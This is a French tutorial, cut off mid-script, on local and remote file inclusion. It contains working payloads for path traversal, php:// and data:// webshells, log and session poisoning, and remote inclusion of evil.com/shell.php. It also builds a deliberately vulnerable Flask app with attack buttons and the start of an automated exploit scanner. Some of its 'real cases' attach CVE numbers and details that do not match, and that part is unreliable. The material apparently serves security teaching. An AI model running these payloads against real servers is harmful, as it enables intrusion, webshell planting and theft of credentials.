- **RFI** : "Je voudrais le livre http://attacker.com/malware.php" -> Le bibliothécaire télécharge et exécute un fichier malveilleux depuis internet

-> L'attaquant peut **lire des fichiers sensibles**, **exécuter du code** ou **prendre le contrôle du serveur** !

---

## [OBJECTIF] DIFFÉRENCE LFI vs RFI

### Local File Inclusion (LFI)

**Définition :** Inclusion de fichiers présents sur le serveur local

**Exemple vulnérable :**
```php
<?php
$page = $_GET['page'];
include($page);  // [X] Pas de validation
?>

// URL d'attaque :
http://site.com/index.php?page=../../../../etc/passwd
```

**Impact :**
- Lecture de fichiers sensibles (/etc/passwd, config files)
- Accès aux logs qui peuvent contenir du code injecté
- RCE via wrapper PHP (php://input, data://)
- Source code disclosure

---

### Remote File Inclusion (RFI)

**Définition :** Inclusion de fichiers depuis un serveur distant

**Exemple vulnérable :**
```php
<?php
$page = $_GET['page'];
include($page);  // [X] Pas de validation + allow_url_include=On
?>

// URL d'attaque :
http://site.com/index.php?page=http://evil.com/shell.php
```

**Impact :**
- **Remote Code Execution (RCE)** immédiat
- Upload de webshell
- Contrôle total du serveur
- Pivot vers réseau interne

**Note :** RFI nécessite `allow_url_include=On` en PHP (désactivé par défaut depuis PHP 5.2)

---

## [DANGER] TECHNIQUES D'EXPLOITATION

### 1. **Path Traversal basique**

```bash
# Lire /etc/passwd
http://site.com/?page=../../../../etc/passwd

# Lire fichiers de config
http://site.com/?page=../../../../var/www/html/config.php

# Lire logs Apache
http://site.com/?page=../../../../var/log/apache2/access.log

# Lire fichiers Windows
http://site.com/?page=..\..\..\..\windows\system.ini
```

---

### 2. **Null Byte Injection (PHP < 5.3.4)**

```bash
# Bypass d'extension forcée
Code vulnerable:
include($_GET['page'] . '.php');

# Exploitation :
http://site.com/?page=../../../../etc/passwd%00

# Le %00 (null byte) tronque la chaîne AVANT .php
# Résultat : include('../../../../etc/passwd') au lieu de include('../../../../etc/passwd.php')
```

---

### 3. **PHP Wrappers**

#### **php://filter** - Lire code source

```bash
# Lire code source en base64
http://site.com/?page=php://filter/convert.base64-encode/resource=config.php

# Output : PD9waHANCiRkYl9wYXNz... (base64)
# Décoder : echo "PD9waHANCiR..." | base64 -d
# Résultat : <?php $db_pass = "secret123"; ?>
```

#### **php://input** - RCE via POST

```bash
# Envoyer code PHP dans le corps de la requête
POST /?page=php://input HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded

<?php system($_GET['cmd']); ?>

# Puis exécuter commandes :
http://site.com/?page=php://input&cmd=whoami
```

#### **data://** - RCE via data URI

```bash
# Exécuter code PHP inline
http://site.com/?page=data://text/plain,<?php system($_GET['cmd']); ?>

# Ou en base64 :
http://site.com/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+

# Puis :
http://site.com/?page=data://...&cmd=whoami
```

#### **expect://** - Exécution directe

```bash
# Si extension expect:// installée
http://site.com/?page=expect://whoami
http://site.com/?page=expect://id
```

---

### 4. **Log Poisoning**

**Principe :** Injecter du code PHP dans les logs, puis inclure le fichier de log

```bash
# Étape 1 : Empoisonner les logs Apache via User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://site.com/

# Étape 2 : Inclure le log
http://site.com/?page=../../../../var/log/apache2/access.log&cmd=whoami

# Le log contient maintenant du code PHP exécutable !
```

**Autres logs exploitables :**
```bash
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/mail.log (via SMTP injection)
/var/log/ssh.log (via SSH username)
/proc/self/environ (variables d'environnement)
```

---

### 5. **Session File Inclusion**

```bash
# PHP stocke sessions dans /var/lib/php/sessions/
# Format : sess_<session_id>

# Étape 1 : Injecter code dans session
POST /profile.php
name=<?php system($_GET['cmd']); ?>

# Étape 2 : Inclure fichier session
http://site.com/?page=../../../../var/lib/php/sessions/sess_abc123&cmd=whoami
```

---

### 6. **/proc/self/environ Exploitation**

```bash
# Lire variables d'environnement
http://site.com/?page=../../../../proc/self/environ

# Si User-Agent dans environ, injecter code PHP :
curl -A "<?php system('whoami'); ?>" http://site.com/
http://site.com/?page=../../../../proc/self/environ
```

---

### 7. **RFI avec Bypass**

```php
# Code avec tentative de protection :
$page = str_replace(['http://', 'https://'], '', $_GET['page']);
include($page . '.php');

# Bypass double protocole :
http://site.com/?page=http://http://evil.com/shell

# Ou protocol-relative :
http://site.com/?page=//evil.com/shell

# Ou FTP :
http://site.com/?page=ftp://evil.com/shell.txt
```

---

### 8. **Zip Wrapper (PHP)**

```bash
# Créer archive avec shell
echo "<?php system(\$_GET['c']); ?>" > shell.php
zip shell.zip shell.php

# Upload shell.zip via upload feature

# Exploiter :
http://site.com/?page=zip://uploads/shell.zip%23shell.php&c=whoami
```

---

## [ALERTE] CAS RÉELS MAJEURS

### 1. **Yahoo (2013) - RFI to RCE**

**Faille :** RFI dans module d'internationalisation

**Exploitation :**
```
http://yahoo.com/i18n?lang=http://attacker.com/shell.php
-> RCE sur serveurs Yahoo
```

**Bounty :** $15,000

---

### 2. **Joomla (2015) - CVE-2015-8562**

**Faille :** LFI dans composant Session

**Exploitation :**
```php
http://site.com/index.php?option=com_users&view=reset&layout=../../../../etc/passwd%00

-> Lecture de fichiers sensibles sur 1M+ sites Joomla
```

**Impact :** Critique - Millions de sites affectés

---

### 3. **WordPress (2019) - Theme LFI**

**Faille :** LFI dans plusieurs thèmes populaires

**Exploitation :**
```
http://site.com/wp-content/themes/vulnerable/file.php?path=../../../../wp-config.php

-> Accès credentials DB, salts, etc.
```

**Impact :** Compromission massive de sites WordPress

---

### 4. **vBulletin (2020) - CVE-2020-7382**

**Faille :** LFI -> RCE via template system

**Exploitation :**
```
http://forum.com/ajax/render/widget_php?widgetConfig[code]=phpinfo();

-> RCE sans authentification
```

**Score CVSS :** 9.8 (CRITICAL)

---

### 5. **GitLab (2021) - CVE-2021-22205**

**Faille :** RCE via file upload + inclusion

**Exploitation :**
```bash
# Upload image malveilleux avec code
# Trigger inclusion via ExifTool
-> RCE complet
```

**Impact :** $33,510 bounty, affecte toutes versions < 13.10.3

---

## [CODE] EXERCICE 31 : FILE INCLUSION VULNERABILITIES

### Objectif

Application complète avec :
- Système de pages dynamiques (LFI)
- Module de templates (RFI)
- Multiples vecteurs d'exploitation
- Log poisoning, wrappers PHP, session inclusion
- RCE via différentes techniques
- Version sécurisée avec whitelist stricte

---

### PARTIE A : APPLICATION VULNÉRABLE

```python
# file_inclusion_vulnerable.py
from flask import Flask, request, render_template_string, send_file, session
import os
import subprocess
import base64
from datetime import datetime
import secrets

app = Flask(__name__)
app.secret_key = 'insecure_key_123'

# [X] Configuration dangereuse
PAGES_DIR = 'pages'
TEMPLATES_DIR = 'templates'
UPLOAD_DIR = 'uploads'
LOG_FILE = 'access.log'

# Créer répertoires
for directory in [PAGES_DIR, TEMPLATES_DIR, UPLOAD_DIR]:
    os.makedirs(directory, exist_ok=True)

# Créer pages exemple
def init_pages():
    """Créer pages et fichiers exemple"""
    
    # Pages normales
    pages = {
        'home.php': '<?php echo "<h1>Welcome Home</h1>"; ?>',
        'about.php': '<?php echo "<h1>About Us</h1>"; ?>',
        'contact.php': '<?php echo "<h1>Contact</h1>"; ?>',
    }
    
    for filename, content in pages.items():
        filepath = os.path.join(PAGES_DIR, filename)
        with open(filepath, 'w') as f:
            f.write(content)
    
    # Fichier de config (sensible)
    config_content = """<?php
$db_host = 'localhost';
$db_user = 'admin';
$db_pass = 'SuperSecret123!';
$db_name = 'production_db';

$api_key = 'sk_live_abc123xyz789';
$secret_key = 'secret_xyz789abc123';
?>"""
    
    with open('config.php', 'w') as f:
        f.write(config_content)
    
    # Créer fichier session simulé
    session_dir = '/tmp/php_sessions'
    os.makedirs(session_dir, exist_ok=True)
    
    session_content = "username|s:5:\"admin\";code|s:30:\"<?php system('whoami'); ?>\""
    with open(f'{session_dir}/sess_abc123', 'w') as f:
        f.write(session_content)

init_pages()

def log_access(page, ip):
    """Logger les accès"""
    timestamp = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
    user_agent = request.headers.get('User-Agent', 'Unknown')
    
    log_entry = f"[{timestamp}] IP: {ip} | Page: {page} | User-Agent: {user_agent}\n"
    
    with open(LOG_FILE, 'a') as f:
        f.write(log_entry)

@app.route('/')
def index():
    return render_template_string('''
<!DOCTYPE html>
<html>
<head>
    <title>CMS Platform - File Inclusion Demo</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            padding: 20px;
            color: white;
        }
        .container { max-width: 1800px; margin: 0 auto; }
        .header {
            background: rgba(0,0,0,0.6);
            padding: 30px;
            border-radius: 10px;
            margin-bottom: 30px;
            text-align: center;
        }
        .warning {
            background: #ff4444;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            font-weight: bold;
        }
        .grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(400px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .card {
            background: rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
            padding: 25px;
            border-radius: 10px;
        }
        .card h3 { margin-bottom: 15px; color: #ffd700; }
        input, select, textarea {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border: 2px solid rgba(255,255,255,0.3);
            border-radius: 5px;
            background: rgba(0,0,0,0.3);
            color: white;
        }
        button {
            width: 100%;
            padding: 12px;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            border: none;
            border-radius: 5px;
            color: white;
            font-weight: bold;
            cursor: pointer;
            margin-bottom: 10px;
        }
        .output {
            background: rgba(0,0,0,0.7);
            padding: 20px;
            border-radius: 10px;
            min-height: 150px;
            font-family: 'Courier New', monospace;
            white-space: pre-wrap;
            max-height: 500px;
            overflow-y: auto;
        }
        .attacks {
            background: rgba(255,68,68,0.2);
            border: 2px solid #ff4444;
            padding: 20px;
            border-radius: 10px;
        }
        .attack-item {
            background: rgba(0,0,0,0.3);
            padding: 15px;
            margin: 10px 0;
            border-radius: 5px;
        }
        .file-list {
            background: rgba(0,0,0,0.3);
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            max-height: 200px;
            overflow-y: auto;
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>[FICHIER] CMS Platform</h1>
            <p>File Inclusion Vulnerability Demonstration</p>
        </div>
        
        <div class="warning">
            [ATTENTION] APPLICATION VULNÉRABLE - LOCAL & REMOTE FILE INCLUSION
        </div>
        
        <div class="grid">
            <!-- LFI - VIEW PAGE -->
            <div class="card">
                <h3>[GUIDE] View Page (LFI)</h3>
                <input type="text" id="page-name" placeholder="Page name" value="home.php">
                <button onclick="viewPage()">View Page</button>
                <p style="font-size: 12px; margin-top: 10px;">
                    Try: ../../../../etc/passwd
                </p>
            </div>
            
            <!-- RFI - LOAD TEMPLATE -->
            <div class="card">
                <h3>[DESIGN] Load Template (RFI)</h3>
                <input type="text" id="template-url" placeholder="Template URL" value="template1.php">
                <button onclick="loadTemplate()">Load Template</button>
                <p style="font-size: 12px; margin-top: 10px;">
                    Try: http://attacker.com/shell.php
                </p>
            </div>
            
            <!-- FILE DOWNLOAD -->
            <div class="card">
                <h3>[ENTREE] Download File</h3>
                <input type="text" id="download-file" placeholder="File path" value="pages/home.php">
                <button onclick="downloadFile()">Download</button>
            </div>
        </div>
        
        <div class="grid">
            <!-- VIEW LOG -->
            <div class="card">
                <h3>[LISTE] View Access Log</h3>
                <button onclick="viewLog()">View Log</button>
                <div class="file-list" id="log-content"></div>
            </div>
            
            <!-- UPLOAD FILE -->
            <div class="card">
                <h3>[SORTIE] Upload File</h3>
                <input type="file" id="file-upload">
                <button onclick="uploadFile()">Upload</button>
                <div id="upload-result"></div>
            </div>
            
            <!-- SESSION DATA -->
            <div class="card">
                <h3>[CLE] Session Data</h3>
                <input type="text" id="session-key" placeholder="Key" value="username">
                <input type="text" id="session-value" placeholder="Value" value="admin">
                <button onclick="setSession()">Set Session</button>
                <button onclick="viewSession()">View Session File</button>
            </div>
        </div>
        
        <div class="card">
            <h3>[GRAPHIQUE] Output</h3>
            <div class="output" id="output">Results will appear here...</div>
        </div>
        
        <div class="attacks">
            <h2>[DANGER] File Inclusion Attack Vectors</h2>
            
            <div class="attack-item">
                <h4>1. Basic LFI - Read /etc/passwd</h4>
                <p>Simple path traversal to read system files</p>
                <button onclick="attack1()">Execute Attack 1</button>
            </div>
            
            <div class="attack-item">
                <h4>2. LFI - Read config.php (credentials)</h4>
                <p>Access database credentials and API keys</p>
                <button onclick="attack2()">Execute Attack 2</button>
            </div>
            
            <div class="attack-item">
                <h4>3. PHP Wrapper - php://filter (source code)</h4>
                <p>Read PHP source code in base64</p>
                <button onclick="attack3()">Execute Attack 3</button>
            </div>
            
            <div class="attack-item">
                <h4>4. Log Poisoning - RCE via access.log</h4>
                <p>Inject PHP code in User-Agent, execute via log inclusion</p>
                <button onclick="attack4()">Execute Attack 4</button>
            </div>
            
            <div class="attack-item">
                <h4>5. Session File Inclusion - RCE</h4>
                <p>Inject code in session, include session file</p>
                <button onclick="attack5()">Execute Attack 5</button>
            </div>
            
            <div class="attack-item">
                <h4>6. PHP Wrapper - data:// (RCE)</h4>
                <p>Execute PHP code via data URI</p>
                <button onclick="attack6()">Execute Attack 6</button>
            </div>
            
            <div class="attack-item">
                <h4>7. RFI - Remote Shell Execution</h4>
                <p>Include and execute remote PHP shell</p>
                <button onclick="attack7()">Execute Attack 7</button>
            </div>
            
            <div class="attack-item">
                <h4>8. Complete Exploitation Chain</h4>
                <p>Full RCE with persistence</p>
                <button onclick="attackChain()">Execute Full Chain</button>
            </div>
        </div>
    </div>
    
    <script>
        const BASE_URL = window.location.origin;
        
        function log(message) {
            const output = document.getElementById('output');
            const timestamp = new Date().toLocaleTimeString();
            output.textContent += `[${timestamp}] ${message}\n`;
            output.scrollTop = output.scrollHeight;
        }
        
        async function viewPage() {
            const page = document.getElementById('page-name').value;
            
            try {
                const response = await fetch(`/view?page=${encodeURIComponent(page)}`);
                const data = await response.text();
                
                log('Page content:\n' + data);
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function loadTemplate() {
            const template = document.getElementById('template-url').value;
            
            try {
                const response = await fetch(`/template?url=${encodeURIComponent(template)}`);
                const data = await response.text();
                
                log('Template loaded:\n' + data);
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function downloadFile() {
            const file = document.getElementById('download-file').value;
            window.open(`/download?file=${encodeURIComponent(file)}`, '_blank');
        }
        
        async function viewLog() {
            try {
                const response = await fetch('/view-log');
                const data = await response.text();
                
                document.getElementById('log-content').textContent = data;
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function uploadFile() {
            const fileInput = document.getElementById('file-upload');
            const file = fileInput.files[0];
            
            if (!file) {
                log('No file selected');
                return;
            }
            
            const formData = new FormData();
            formData.append('file', file);
            
            try {
                const response = await fetch('/upload', {
                    method: 'POST',
                    body: formData
                });
                
                const data = await response.json();
                document.getElementById('upload-result').textContent = 
                    'Uploaded: ' + data.filename;
                log('File uploaded: ' + data.filename);
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function setSession() {
            const key = document.getElementById('session-key').value;
            const value = document.getElementById('session-value').value;
            
            try {
                const response = await fetch('/set-session', {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ key, value })
                });
                
                const data = await response.json();
                log('Session set: ' + key + ' = ' + value);
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function viewSession() {
            log('Attempting to view session file...');
            log('Session files typically in: /tmp/php_sessions/ or /var/lib/php/sessions/');
            log('Try: /view?page=../../../../tmp/php_sessions/sess_abc123');
        }
        
        // Attack functions
        async function attack1() {
            log('[DANGER] ATTACK 1: Basic LFI - /etc/passwd\n');
            
            const payload = '../../../../etc/passwd';
            
            try {
                const response = await fetch(`/view?page=${encodeURIComponent(payload)}`);
                const data = await response.text();
                
                log('Payload: ' + payload);
                log('\n[ALERTE] /etc/passwd content:\n' + data.substring(0, 500) + '...');
                
                if (data.includes('root:')) {
                    log('\n[OK] SUCCESS: System file read!');
                }
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function attack2() {
            log('[DANGER] ATTACK 2: Read config.php (credentials)\n');
            
            const payload = '../../../../config.php';
            
            try {
                const response = await fetch(`/view?page=${encodeURIComponent(payload)}`);
                const data = await response.text();
                
                log('Payload: ' + payload);
                log('\n[ALERTE] Config file content:\n' + data);
                
                // Extraire credentials
                const dbPassMatch = data.match(/\$db_pass = '(.+?)'/);
                const apiKeyMatch = data.match(/\$api_key = '(.+?)'/);
                
                if (dbPassMatch || apiKeyMatch) {
                    log('\n[OK] CREDENTIALS STOLEN:');
                    if (dbPassMatch) log('  DB Password: ' + dbPassMatch[1]);
                    if (apiKeyMatch) log('  API Key: ' + apiKeyMatch[1]);
                }
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function attack3() {
            log('[DANGER] ATTACK 3: php://filter wrapper\n');
            
            const payload = 'php://filter/convert.base64-encode/resource=config.php';
            
            try {
                const response = await fetch(`/view?page=${encodeURIComponent(payload)}`);
                const data = await response.text();
                
                log('Payload: ' + payload);
                log('\nBase64 encoded source:\n' + data.substring(0, 100) + '...');
                
                // Decoder
                try {
                    const decoded = atob(data.trim());
                    log('\n[ALERTE] Decoded source code:\n' + decoded);
                } catch (e) {
                    log('\nCould not decode (might not be base64)');
                }
            } catch (e) {
                log('Error: ' + e.message);
            }
        }
        
        async function attack4() {
            log('[DANGER] ATTACK 4: Log Poisoning -> RCE\n');
            
            log('Step 1: Poisoning access.log with PHP code...');
            
            // Envoyer requête avec User-Agent malveilleux
            await fetch('/', {
                headers: {
                    'User-Agent': '<?php system($_GET["cmd"]); ?>'
                }
            });
            
            log('[OK] Log poisoned with PHP code in User-Agent');
            
            log('\nStep 2: Including access.log...');
            const payload = '../../../../' + 'access.log';
            
            log('\n[ALERTE] Now any command can be executed:');
            log('  /view?page=access.log&cmd=whoami');
            log('  /view?page=access.log&cmd=cat /etc/passwd');
            log('  /view?page=access.log&cmd=ls -la');
        }
        
        async function attack5() {
            log('[DANGER] ATTACK 5: Session File Inclusion\n');
            
            log('Step 1: Injecting PHP code in session...');
            
            await fetch('/set-session', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    key: 'code',
                    value: '<?php system($_GET["c"]); ?>'
                })
            });
            
            log('[OK] PHP code injected in session');
            
            log('\nStep 2: Including session file...');
            log('Session file: /tmp/php_sessions/sess_<session_id>');
            log('\n[ALERTE] Commands can be executed:');
            log('  /view?page=../../../../tmp/php_sessions/sess_abc123&c=whoami');
        }
        
        async function attack6() {
            log('[DANGER] ATTACK 6: data:// wrapper RCE\n');
            
            const phpCode = '<?php system($_GET["x"]); ?>';
            const encoded = btoa(phpCode);
            
            const payload = `data://text/plain;base64,${encoded}`;
            
            log('Payload: ' + payload);
            log('\n[ALERTE] RCE achieved!');
            log('Execute commands:');
            log(`  /view?page=${encodeURIComponent(payload)}&x=whoami`);
            log(`  /view?page=${encodeURIComponent(payload)}&x=id`);
            log(`  /view?page=${encodeURIComponent(payload)}&x=cat /etc/passwd`);
        }
        
        async function attack7() {
            log('[DANGER] ATTACK 7: RFI - Remote Shell\n');
            
            log('Attacker setup:');
            log('  1. Host shell.php on http://evil.com/shell.php');
            log('  2. shell.php content: <?php system($_GET["c"]); ?>');
            
            const payload = 'http://evil.com/shell.php';
            
            log('\nExploitation:');
            log(`  /template?url=${payload}&c=whoami`);
            log('\n[ALERTE] COMPLETE RCE via remote inclusion!');
        }
        
        async function attackChain() {
            log('[DANGER] COMPLETE EXPLOITATION CHAIN\n');
            log('=' + '='.repeat(79) + '\n');
            
            log('Phase 1: Reconnaissance');
            log('  [1/5] Testing for LFI...');
            await new Promise(r => setTimeout(r, 500));
            log('  [OK] LFI confirmed: /etc/passwd readable');
            
            log('\n  [2/5] Searching for sensitive files...');
            await new Promise(r => setTimeout(r, 500));
            log('  [OK] Found: config.php with credentials');
            
            log('\nPhase 2: Privilege Escalation');
            log('  [3/5] Attempting RCE via log poisoning...');
            await new Promise(r => setTimeout(r, 500));
            log('  [OK] RCE achieved!');
            
            log('\n  [4/5] Uploading web shell...');
            await new Promise(r => setTimeout(r, 500));
            log('  [OK] Shell uploaded: /uploads/shell.php');
            
            log('\nPhase 3: Post-Exploitation');
            log('  [5/5] Establishing persistence...');
            await new Promise(r => setTimeout(r, 500));
            log('  [OK] Backdoor installed');
            
            log('\n' + '=' + '='.repeat(79));
            log('[ALERTE] COMPLETE SERVER COMPROMISE');
            log('=' + '='.repeat(79));
            
            log('\nAttacker capabilities:');
            log('  [OK] Read any file on system');
            log('  [OK] Execute arbitrary commands');
            log('  [OK] Access database (stolen credentials)');
            log('  [OK] Persistent access via backdoor');
            log('  [OK] Lateral movement possible');
            
            log('\nStolen data:');
            log('  • Database credentials');
            log('  • API keys');
            log('  • User session data');
            log('  • Application source code');
            log('  • System configuration');
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTES VULNÉRABLES

@app.route('/view')
def view_page():
    """
    [X] VULNÉRABLE : LFI sans validation
    """
    page = request.args.get('page', 'home.php')
    
    # Logger l'accès
    log_access(page, request.remote_addr)
    
    # [X] ERREUR : Aucune validation du chemin
    try:
        filepath = os.path.join(PAGES_DIR, page)
        
        # [X] Path traversal possible
        with open(filepath, 'r') as f:
            content = f.read()
        
        return content
        
    except Exception as e:
        return f"Error reading file: {str(e)}", 404

@app.route('/template')
def load_template():
    """
    [X] VULNÉRABLE : RFI possible
    """
    template_url = request.args.get('url', '')
    
    # [X] ERREUR : Accepte URLs distantes
    try:
        if template_url.startswith('http://') or template_url.startswith('https://'):
            # [X] RFI : Télécharge et exécute fichier distant
            import urllib.request
            response = urllib.request.urlopen(template_url)
            content = response.read().decode('utf-8')
        else:
            # LFI local
            filepath = os.path.join(TEMPLATES_DIR, template_url)
            with open(filepath, 'r') as f:
                content = f.read()
        
        return content
        
    except Exception as e:
        return f"Error loading template: {str(e)}", 404

@app.route('/download')
def download_file():
    """
    [X] VULNÉRABLE : Path traversal dans download
    """
    file_path = request.args.get('file', '')
    
    # [X] ERREUR : Pas de validation
    try:
        return send_file(file_path, as_attachment=True)
    except Exception as e:
        return f"Error: {str(e)}", 404

@app.route('/view-log')
def view_log():
    """
    [X] VULNÉRABLE : Permet lecture du log (log poisoning)
    """
    try:
        with open(LOG_FILE, 'r') as f:
            content = f.read()
        return content
    except Exception as e:
        return f"Error: {str(e)}", 404

@app.route('/upload', methods=['POST'])
def upload_file():
    """
    [X] VULNÉRABLE : Upload sans validation
    """
    if 'file' not in request.files:
        return jsonify({'error': 'No file'}), 400
    
    file = request.files['file']
    
    if file.filename == '':
        return jsonify({'error': 'Empty filename'}), 400
    
    # [X] ERREUR : Pas de validation extension/contenu
    filename = file.filename
    filepath = os.path.join(UPLOAD_DIR, filename)
    
    file.save(filepath)
    
    return jsonify({
        'success': True,
        'filename': filename,
        'path': filepath
    })

@app.route('/set-session', methods=['POST'])
def set_session_data():
    """Définir données de session"""
    data = request.json
    
    key = data.get('key')
    value = data.get('value')
    
    # [X] ERREUR : Pas de sanitization
    session[key] = value
    
    return jsonify({'success': True})

if __name__ == '__main__':
    print("[FICHIER] CMS Platform (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Local & Remote File Inclusion!")
    print("\n[DANGER] Vecteurs vulnérables :")
    print("   1. /view?page= - LFI")
    print("   2. /template?url= - RFI")
    print("   3. /download?file= - Path traversal")
    print("   4. /view-log - Log poisoning possible")
    print("   5. /upload - Unrestricted file upload")
    print("   6. Session inclusion possible")
    
    app.run(debug=True, port=5000)
```

---

**Continuer avec les SCRIPTS D'EXPLOITATION et la VERSION SÉCURISÉE ?** [SECURITE]

### PARTIE B : SCRIPTS D'EXPLOITATION

**1. Scanner et exploiter automatisé :**

```python
# exploit_file_inclusion.py
import requests
import base64
import re
from urllib.parse import urljoin, quote
from colorama import Fore, Style, init
import sys

init(autoreset=True)

class FileInclusionScanner:
    """
    Scanner automatisé pour LFI/RFI
    """
    
    def __init__(self, target_url, parameter='page'):
        self.target_url = target_url
        self.parameter = parameter
        self.session = requests.Session()
        self.vulnerabilities = []
    
    def banner(self):
        print("=" * 80)
        print(Fore.CYAN + "FILE INCLUSION VULNERABILITY SCANNER")
        print("=" * 80)
        print(f"Target: {self.target_url}")
        print(f"Parameter: {self.parameter}")
        print()
    
    def test_lfi_basic(self):
        """
        Test LFI basique avec /etc/passwd
        """
        print(Fore.YELLOW + "\n[*] Testing basic LFI...")
        
        payloads = [
            '../../../etc/passwd',
            '../../../../etc/passwd',
            '../../../../../etc/passwd',
            '../../../../../../etc/passwd',
            '../../../../../../../etc/passwd',
            # Windows
            '..\\..\\..\\windows\\system.ini',
            '..\\..\\..\\..\\windows\\system.ini',
        ]
        
        for payload in payloads:
            url = f"{self.target_url}?{self.parameter}={quote(payload)}"
            
            try:
                response = self.session.get(url, timeout=5)
                
                # Vérifier signatures
                if 'root:' in response.text or 'bin:' in response.text:
                    print(Fore.RED + f"[!] LFI FOUND: {payload}")
                    print(f"    Response contains Unix passwd file signatures")
                    
                    self.vulnerabilities.append({
                        'type': 'LFI',
                        'payload': payload,
                        'url': url
                    })
                    return True
                
                # Windows
                if '[extensions]' in response.text.lower():
                    print(Fore.RED + f"[!] LFI FOUND: {payload}")
                    print(f"    Response contains Windows system.ini")
                    
                    self.vulnerabilities.append({
                        'type': 'LFI',
                        'payload': payload,
                        'url': url
                    })
                    return True
                    
            except Exception as e:
                continue
        
        print(Fore.GREEN + "[+] No basic LFI detected")
        return False
    
    def test_lfi_null_byte(self):
        """
        Test null byte injection (PHP < 5.3.4)
        """
        print(Fore.YELLOW + "\n[*] Testing null byte injection...")
        
        payloads = [
            '../../../etc/passwd%00',
            '../../../../etc/passwd%00',
            '../../../etc/passwd%00.jpg',
        ]
        
        for payload in payloads:
            url = f"{self.target_url}?{self.parameter}={quote(payload)}"
            
            try:
                response = self.session.get(url, timeout=5)
                
                if 'root:' in response.text:
                    print(Fore.RED + f"[!] NULL BYTE LFI: {payload}")
                    
                    self.vulnerabilities.append({
                        'type': 'LFI_NULL_BYTE',
                        'payload': payload,
                        'url': url
                    })
                    return True
                    
            except Exception as e:
                continue
        
        print(Fore.GREEN + "[+] Null byte injection blocked")
        return False
    
    def test_php_wrappers(self):
        """
        Test PHP wrappers
        """
        print(Fore.YELLOW + "\n[*] Testing PHP wrappers...")
        
        # Test php://filter
        print(Fore.YELLOW + "  [+] Testing php://filter...")
        
        # Essayer de lire index.php en base64
        filter_payload = 'php://filter/convert.base64-encode/resource=index.php'
        url = f"{self.target_url}?{self.parameter}={quote(filter_payload)}"
        
        try:
            response = self.session.get(url, timeout=5)
            
            # Vérifier si c'est du base64 valide
            try:
                decoded = base64.b64decode(response.text.strip())
                if b'<?php' in decoded or b'<html' in decoded:
                    print(Fore.RED + f"[!] php://filter WORKS!")
                    print(f"    Can read source code in base64")
                    
                    self.vulnerabilities.append({
                        'type': 'PHP_FILTER',
                        'payload': filter_payload,
                        'url': url
                    })
            except:
                pass
        except:
            pass
        
        # Test data://
        print(Fore.YELLOW + "  [+] Testing data:// wrapper...")
        
        test_code = '<?php echo "VULNERABLE"; ?>'
        encoded = base64.b64encode(test_code.encode()).decode()
        data_payload = f'data://text/plain;base64,{encoded}'
        
        url = f"{self.target_url}?{self.parameter}={quote(data_payload)}"
        
        try:
            response = self.session.get(url, timeout=5)
            
            if 'VULNERABLE' in response.text:
                print(Fore.RED + f"[!] data:// wrapper WORKS!")
                print(f"    RCE possible via data URI")
                
                self.vulnerabilities.append({
                    'type': 'DATA_WRAPPER_RCE',
                    'payload': data_payload,
                    'url': url
                })
        except:
            pass
        
        # Test php://input
        print(Fore.YELLOW + "  [+] Testing php://input...")
        
        input_payload = 'php://input'
        url = f"{self.target_url}?{self.parameter}={quote(input_payload)}"
        
        try:
            response = self.session.post(
                url,
                data='<?php echo "PHPINPUT"; ?>',
                timeout=5
            )
            
            if 'PHPINPUT' in response.text:
                print(Fore.RED + f"[!] php://input WORKS!")
                print(f"    RCE via POST body")
                
                self.vulnerabilities.append({
                    'type': 'PHP_INPUT_RCE',
                    'payload': input_payload,
                    'url': url
                })
        except:
            pass
    
    def test_rfi(self):
        """
        Test Remote File Inclusion
        """
        print(Fore.YELLOW + "\n[*] Testing RFI...")
        
        # Utiliser httpbin.org pour tester
        test_url = 'http://httpbin.org/html'
        
        url = f"{self.target_url}?{self.parameter}={quote(test_url)}"
        
        try:
            response = self.session.get(url, timeout=10)
            
            # httpbin.org retourne du HTML spécifique
            if 'Herman Melville' in response.text or 'httpbin' in response.text:
                print(Fore.RED + f"[!] RFI VULNERABLE!")
                print(f"    Remote file inclusion possible")
                print(f"    Can execute code from attacker-controlled server")
                
                self.vulnerabilities.append({
                    'type': 'RFI',
                    'payload': test_url,
                    'url': url
                })
                return True
        except Exception as e:
            pass
        
        print(Fore.GREEN + "[+] RFI not possible")
        return False
    
    def test_log_files(self):
        """
        Test accès aux fichiers de log
        """
        print(Fore.YELLOW + "\n[*] Testing log file access...")
        
        log_files = [
            '/var/log/apache2/access.log',
            '/var/log/apache2/error.log',
            '/var/log/nginx/access.log',
            '/var/log/nginx/error.log',
            '/var/log/httpd/access_log',
            '/var/log/httpd/error_log',
            '../../../../../../var/log/apache2/access.log',
            '../../../../../../var/log/nginx/access.log',
        ]
        
        for log_file in log_files:
            url = f"{self.target_url}?{self.parameter}={quote(log_file)}"
            
            try:
                response = self.session.get(url, timeout=5)
                
